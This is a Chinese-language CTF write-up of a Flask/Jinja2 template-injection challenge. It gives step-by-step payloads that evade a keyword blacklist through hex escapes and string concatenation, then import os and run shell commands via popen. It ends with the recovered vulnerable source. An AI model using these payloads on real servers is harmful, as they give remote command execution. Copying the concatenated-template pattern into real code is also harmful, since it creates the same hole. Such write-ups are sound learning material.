周末水了一题 之前ssti的题都是直接用网上payload改的,这题由于环境差异 自己过了一遍流程 白嫖惯了还挺不习惯的 哈哈
页面内容随name参数值而改变,根据容器名称猜测为flask/jinjia2框架模板注入,验证确认为模板注入
用burp fuzz 下过滤了什么特殊符号class base mro config args init global等常用关键字也被过滤
Bypass就行 ’ 单引号用 " 双引号代替,_ 下划线用16进制的 \x5f 代替 . 点符号以及关键字被过滤用拼接绕过如[“cla”+“ss”]
?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()}}
找他的基类(object)的子类,这里没有file无法读取文件(python3中并没有file类),选择通过warnings.catch_warnings
类执行命令
__subclasses__().index(warnings.catch_warnings)
本可以通过index直接获取这个类的位置但这过滤太多,大致估一下位置搜索对照一下,得到位置为167
获取位置后在用__global__
看看该模块有哪些global函数
?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["keys"]()}}
python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在__builtins__
得到
为了执行命令需要调用os模块
?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["\x5F\x5fbuil"+"tins\x5f\x5f"]["\x5F\x5fim"+"port\x5f\x5f"]("os")}}
Python3.6的版本 用system函数执行命令
?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["\x5F\x5fbuil"+"tins\x5f\x5f"]["\x5F\x5fim"+"port\x5f\x5f"]("os")["sys"+"tem"]("whoami")}}
成功执行但是system函数没回显 本来是想弹个shell或者curl发送数据到vps上的,测试vps能收到 能通外网,但过滤太多了都用不了参数
还好用popen("dir").read()
有回显
最终payload:
?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["\x5F\x5fbuil"+"tins\x5f\x5f"]["\x5F\x5fim"+"port\x5f\x5f"]("os")["popen"]("cat wo*")["read"]()}}
去掉bypas的部分其实就是下面这个:
[].__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']("os").popen("dir").read()
顺便扒了源码
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
blacklist = ['%','-',':','+','class','base','mro','_','config','args','init','global','.','\'','req','|','attr','get']
for i in blacklist:
if i in name:
return Template('你真是个小可爱').render()
t = Template("早安,打工人<br/>你就是我的" + name + "吗?<br/><!-- ?name=master -->")
return t.render()
if __name__ == "__main__":
app.run()